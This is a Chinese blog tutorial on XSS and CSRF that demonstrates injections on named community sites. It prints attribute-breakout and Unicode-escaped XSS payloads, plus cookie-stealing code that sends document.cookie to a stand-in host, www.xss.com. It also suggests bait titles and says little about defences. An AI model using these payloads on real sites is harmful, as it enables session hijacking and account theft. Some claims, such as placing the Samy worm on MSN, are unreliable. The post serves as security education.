XSS 和 CSRF 詳解

我們常說的網絡安全其實應該包括以下三方面的安全:
1、機密性,比如用戶的隱私被竊取,帳號被盜,常見的方式是木馬。
2、完整性,比如數據的完整,舉個例子,康熙傳位十四子,被當時四阿哥篡改遺詔:傳位於四子,當然這是傳說,常見的方式是XSS跨站腳本攻擊和csrf跨站請求僞造。
3、可用性,比如我們的網絡服務是否可用,常用的攻擊方式是dos和ddos,拒絕服務和分佈式拒絕服務攻擊。

本文主要講述xss和csrf的攻擊,配合實例講述這2者攻擊的危害性以及一些防範的措施,有講的不對或者不完整的地方歡迎大大們補充說明。

注:本站攻擊的例子都是原生的實例,並沒有借鑑網上的例子,另外請各位大俠高擡貴手不要隨便亂試哦~,本文旨在指出攻擊的手段和防範的方法。

XSS是什麼?它的全名是:Cross-site scripting,爲了和CSS層疊樣式表區分所以取名XSS。是一種網站應用程序的安全漏洞攻擊,是代碼注入的一種。它允許惡意用戶將代碼注入到網頁上,其他用戶在觀看網頁時就會受到影響。這類攻擊通常包含了HTML以及用戶端腳本語言。
而CSRF是什麼呢?CSRF全名是Cross-site request forgery,是一種對網站的惡意利用,CSRF比XSS更具危險性。想要深入理解CSRF的攻擊特性我們有必要了解一下網站session的工作原理。

session我想大家都不陌生,無論你用.net或PHP開發過網站的都肯定用過session對象,然而session它是如何工作的呢?如果你不清楚請往下看。
先問個小問題:如果我把瀏覽器的cookie禁用了,大家認爲session還能正常工作嗎?

答案是否定的,我在這邊舉個簡單的例子幫助大家理解session。
比如我買了一張高爾夫俱樂部的會員卡,俱樂部給了我一張帶有卡號的會員卡。我能享受哪些權利(比如我是高級會員卡可以打19洞和後付費喝飲料,而初級會員卡只能在練習場揮杆)以及我的個人資料都是保存在高爾夫俱樂部的數據庫裏的。我每次去高爾夫俱樂部只需要出示這張高級會員卡,俱樂部就知道我是誰了,並且爲我服務了。

這裏我們的高級會員卡卡號 = 保存在cookie的sessionid;
而我的高級會員卡權利和個人信息就是服務端的session對象了。

我們知道http請求是無狀態的,也就是說每次http請求都是獨立的無關之前的操作的,但是每次http請求都會將本域下的所有cookie作爲http請求頭的一部分發送給服務端,所以服務端就根據請求中的cookie存放的sessionid去session對象中找到該會員資料了。
當然session的保存方法多種多樣,可以保存在文件中,也可以內存裏,考慮到分佈式的橫向擴展我們還是建議把它保存在第三方媒介中,比如redis或者mongodb。

我們理解了session的工作機制後,CSRF也就很容易理解了。CSRF攻擊就相當於惡意用戶A複製了我的高級會員卡,哪天惡意用戶A也可以拿着這張假冒的高級會員卡去高爾夫俱樂部打19洞,享受美味的飲料了,而我在月底就會收到高爾夫俱樂部的賬單!

瞭解CSRF的機制之後,危害性我相信大家已經不言而喻了,我可以僞造某一個用戶的身份給其好友發送垃圾信息,這些垃圾信息的超鏈接可能帶有木馬程序或者一些詐騙信息(比如借錢之類的),如果CSRF發送的垃圾信息還帶有蠕蟲鏈接的話,那些接收到這些有害信息的好友萬一打開私信中的連接就也成爲了有害信息的散播着,這樣數以萬計的用戶被竊取了資料種植了木馬。整個網站的應用就可能在瞬間奔潰,用戶投訴,用戶流失,公司聲譽一落千丈甚至面臨倒閉。曾經在MSN上,一個美國的19歲的小夥子Samy利用css的background漏洞幾小時內讓100多萬用戶成功的感染了他的蠕蟲,雖然這個蠕蟲並沒有破壞整個應用,只是在每一個用戶的簽名後面都增加了一句“Samy 是我的偶像”,但是一旦這些漏洞被惡意用戶利用,後果將不堪設想,同樣的事情也曾經發生在新浪微博上面。

想要CSRF獲取用戶的信息,就必須XSS注入成功,下面的例子我只是簡單的注入alert('xss'),至於惡意用戶完全可以把alert('xss')換成他想要的任意的js代碼,用來發送post或者get請求修改用戶的資料,獲取用戶好友信息,僞造發送私信,甚至做成蠕蟲散播到整個web應用,所以千萬不要小看了XSS注入攻擊帶來的後果,並不是alert一個對話框那麼簡單!

下面我們就捲起袖子開始我們的XSS之旅:

1、實例:XSS注入名城蘇州論壇
我是蘇州人,我就先拿本地的官方論壇www.2500sz.com開刀吧。
我打開2500sz.com的論壇然後註冊了一個帳號,發佈一個新話題,輸入以下代碼:

關於XSS(跨站腳本攻擊)和CSRF(跨站請求僞造) - snoopyxdy - snoopyxdy的博客

上面的代碼就是輸入一個網絡分享的圖片,我在src中直接寫入了javascript:alert('xss');操作成功後生成帖子,用IE6、7的用戶打開這個我發的這個帖子就會出現下圖的alert('xss')彈窗。 

關於XSS(跨站腳本攻擊)和CSRF(跨站請求僞造) - snoopyxdy - snoopyxdy的博客

當然我會將標題設計的非常吸引人點擊,比如 “陳冠希豔照又有流出2012版(20P無碼)” ,這樣如果我將裏面的alert換成惡意代碼,比如:

location.href='http://www.xss.com?cookie='+document.cookie

用戶的cookie我也拿到了,如果服務端session沒有設置過期的話,我以後甚至拿這個cookie而不需用戶名密碼,就可以以這個用戶的身份登錄成功了。
這裏的location.href只是處於簡單這樣做,如果做了跳轉這個帖子很快會被管理員刪除,但是如果我寫如下代碼,並且帖子的內容也是比較真實的,說不定這個帖子就會禍害很多人:

var img = document.createElement('img');
img.src='http://www.xss.com?cookie='+document.cookie;
img.style.display='none';
document.getElementsByTagName('body')[0].appendChild(img);

這樣就神不知鬼不覺的把當前用戶的cookie發送給了我的惡意站點,我的惡意站點通過獲取get參數就拿到了用戶的cookie。當然我們可以通過這個方法拿到用戶各種各樣的數據。

2、還是蘇州本地sns,蘇州人社區
我們訪問www.szr.com社區,這是一個面向於蘇州人的sns社區,主要界面是抄襲的新浪微博。
注入嘗試1:
關於XSS(跨站腳本攻擊)和CSRF(跨站請求僞造) - snoopyxdy - snoopyxdy的博客
 直接輸入<script>標籤,發現php將單引號和雙引號都轉義了,而且也將<>這類符號過濾掉了,嘗試失敗,繼續尋找突破口。

注入嘗試2:
圖片注入,有些sns社區可以讓用戶自己上傳圖片,然後填寫ref屬性或者title屬性,這些屬性往往會成爲注入點,如果應用程序文件名沒有修改的話也可能被注入。更有勝者,在新版本的discuz中,用戶可以分享照片還可以查看照片的exif信息,比如光圈相機型號等等,有達人用軟件修改了exif信息,在裏面嵌入惡意js代碼,然後吸引用戶查看exif信息。
但是這個szr社區並不提供圖片title設置,而且上傳的圖片都經過服務端的改名了。嘗試再次失敗,不氣餒繼續尋找突破口。

注入嘗試3:
我們發現了視頻這個按鈕,這個功能可以通過視頻的連接地址分享視頻,比如我可以發優酷上的視頻地址來分享給其他用戶。於是我打開視頻功能,在輸入框中寫入:

http://www.baidu.com/“οnclick=alert('xss') title="xss"

生成了如下圖的情況:

關於XSS(跨站腳本攻擊)和CSRF(跨站請求僞造) - snoopyxdy - snoopyxdy的博客
 
雖然注入還是失敗了,php將單引號轉義了,但是我們發現szr社區並沒有對我輸入的url進行有效性驗證,而且沒有過濾雙引號,所以導致了整個html的dom元素測漏了。測漏是一個術語,表示XSS攻擊提前閉合了html標籤。我們找到了突破口,下面就是如何處理掉討人厭的轉義反斜槓了。

注入嘗試4:
既然單引號和雙引號都被轉義幹掉了,我們就不能利用他們了,換一個思路我們可以繞過單引號和雙引號輸出字符串嗎?答案是肯定的,我再添加視頻路徑,輸入以下代碼:

http://www.baidu.com/"οnclick=alert(this.name) name=xss ref=xss

構建成功後如圖:
關於XSS(跨站腳本攻擊)和CSRF(跨站請求僞造) - snoopyxdy - snoopyxdy的博客

我們成功注入了onclick事件和name屬性,接下來發生的事情就和我們想象中一樣了

 
關於XSS(跨站腳本攻擊)和CSRF(跨站請求僞造) - snoopyxdy - snoopyxdy的博客

當用戶點擊了我們的視頻按鈕,彈出了對話框xss,我們注入成功了,喝杯椰奶慶祝下把!
可能有些朋友會說那是因爲php端沒有驗證視頻的有效性,比如這段url放在瀏覽器中是無法打開的,只需要在後端簡單請求一下這個地址就可以過濾掉這類攻擊了,答案當然也是否定的,我們看如下代碼:

http://www.baidu.com/#"οnclick=alert(this.name) name=xss ref=xss

你可以把這段url貼入到瀏覽器中,發現還是可以打開百度頁面的。所以僅僅驗證url的有效性是遠遠不夠的。

3、人人圍sns
www.renrenwei.com是我之前單位的團隊做的一個sns項目,我離職之後他們還在開發新版本,目前線上的版本XSS注入點之多令人結舌。幾乎毫不設防,我們來簡單看一下注入的流程:

人人圍sns允許用戶通過百度的edit發佈文字分享,坑爹的是他竟然還允許直接編輯html標籤

嘗試1:
直接在edit中寫入<script>標籤,結果被過濾掉了,如此赤裸裸的注入還不被幹掉簡直太對不起老闆了。

嘗試2:
我們插入一張圖片,打開html源碼查看,直接在裏面寫上οnlοad="alert('xss')",見圖:

關於XSS(跨站腳本攻擊)和CSRF(跨站請求僞造) - snoopyxdy - snoopyxdy的博客
 
上圖我們插入了惡意代碼,當圖片onload事件結束就執行js腳本了

關於XSS(跨站腳本攻擊)和CSRF(跨站請求僞造) - snoopyxdy - snoopyxdy的博客

百度的edit果然坑爹了!彈出了xss,我們注入成功了,網站還有很多注入點,比如發視頻等等不一一列舉了。


4、ajax的json注入
一時也找不到例子,我就簡單介紹一下這類注入的原理吧。現代網站爲了加快加載和更好的用戶體驗,都大量使用了ajax,通信協議大部分是json字符串格式的,而頁面爲了多語言也使用了utf-8編碼。

比如有這樣的一個場景,是一篇博文的詳細頁,很多用戶給這篇博文留言,爲了加快頁面加載速度,程序設計師要求先顯示博文的內容,然後通過ajax去獲取留言的第一頁內容,通過ajax分頁點擊下一頁獲取第二頁的留言。
這麼做的好處有:
A.加快了博文詳細頁的加載,因爲留言信息往往有用戶頭像,暱稱,id等等,需要多表查詢而且一般用戶會先看博文,再拉下去看留言,這時留言已經加載完畢了。
B.AJAX的留言分頁能夠更加快速的響應,用戶不必讓博文重新刷新一邊,而是直接查看更多的留言。

看上去一切都很美好的,用戶進入詳細頁,先慢慢看博文,此時ajax辛勤的工作去拿留言的內容,然後顯示在頁面底部,但是當製作這個頁面的前端工程師用如下代碼後事情就不那麼美好了。大家能看出什麼端倪來嗎?

var commentObj = $('#comment');

$.get('/getcomment',{r:Math.random(),page:1,article_id:1234},function(data){

    if(data.state !== 200)  return commentObj.html('留言加載失敗。')

    commentObj.html(data.content);

},'json');

我們的設計初衷是,後端將留言內容套入模板,存入json格式如下:
 {state:200, content:“模板的字符串片段”}
然後輸出這段模板中的代碼。

如果沒有看出問題,我們繼續。我們嘗試執行下面的代碼:

$('div:first').html('<script>alert("xss")</script>');

ok正常彈出了alert框xss,你可能覺得這比較小兒科,我們強大的php程序員經過上面3種情況的歷練已經完全過濾掉和轉義了尖括號<>還有單雙引號了"',所以上面的那串惡意代碼會漂亮的變成如下字符打印到留言內容中。

&lt;script&gt; alert(&quot;xss&quot;)&lt;/script&gt;

先表揚一下我們的php程序員,做的很好可以將常規的一些xss注入都屏蔽掉了,但是在utf-8中,字符還有一種表示方式,那就是unicode碼,我們把上面的惡意字符串改寫成如下:

$('div:first').html('\u003c\u0073\u0063\u0072\u0069\u0070\u0074\u003e\u0061\u006c\u0065\u0072\u0074\u0028\u0022\u0078\u0073\u0073\u0022\u0029\u003c\u002f\u0073\u0063\u0072\u0069\u0070\u0074\u003e');

HOHO,大家可以去有jquery的網站上打開firbug運行一下,發現還是輸出了alert的xss,可見我們的注入又成功了,只是這次累一點,需要將寫好的惡意代碼放入轉碼器中做下轉義。

當年的webqq曾經就報過上面這種 Unicode 的XSS注入漏洞!

最後做下unicode和utf-8的掃盲,他們之間的區別和聯繫。
因爲ASCII(128位不夠用,有些國家256都不夠用),所以出現了Unicode (解決ASCII編碼不夠用的情況),當然 Unicode  和我們的GB2312是完全毫無關係的,Unicode只是一個符號集,它只規定了符號的二進制代碼,而utf-8是Unicode的實現方式之一,我們看UTF-8的英文全稱就知道了:Unicode Transformation Format。
UTF-8最大的一個特點,就是它是一種變長的編碼方式。它可以使用1~4個字節表示一個符號,根據不同的符號而變化字節長度,而Unicode  如果轉變爲16進制的話則是固定的長度的,這對某些英文字體來說是存儲空間的浪費,我們看如下對應表就知道了:

Unicode符號範圍 | UTF-8編碼方式 

(十六進制) | (二進制) 

0000 0000-0000 007F | 0xxxxxxx 

0000 0080-0000 07FF | 110xxxxx 10xxxxxx 

0000 0800-0000 FFFF | 1110xxxx 10xxxxxx 10xxxxxx 

0001 0000-0010 FFFF | 11110xxx 10xxxxxx 10xxxxxx 10xxxxxx 

Javascript利用\u表示unicode編碼

尾聲:XSS和CSRF一直存在於我們的身邊,大家可以網上搜一下,大片片的漏洞介紹,包括新浪微博,webqq等大型公司的互聯網應用也曾經或者還存在這類漏洞。
想要徹底抵禦此類攻擊確實比較困難,相信看了本文聰明的你心中肯定會有對策了。

最後獻上一份攻擊實例
注入cnodejs官網實例
發佈了13 篇原創文章 · 獲贊 25 · 訪問量 6萬+
發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章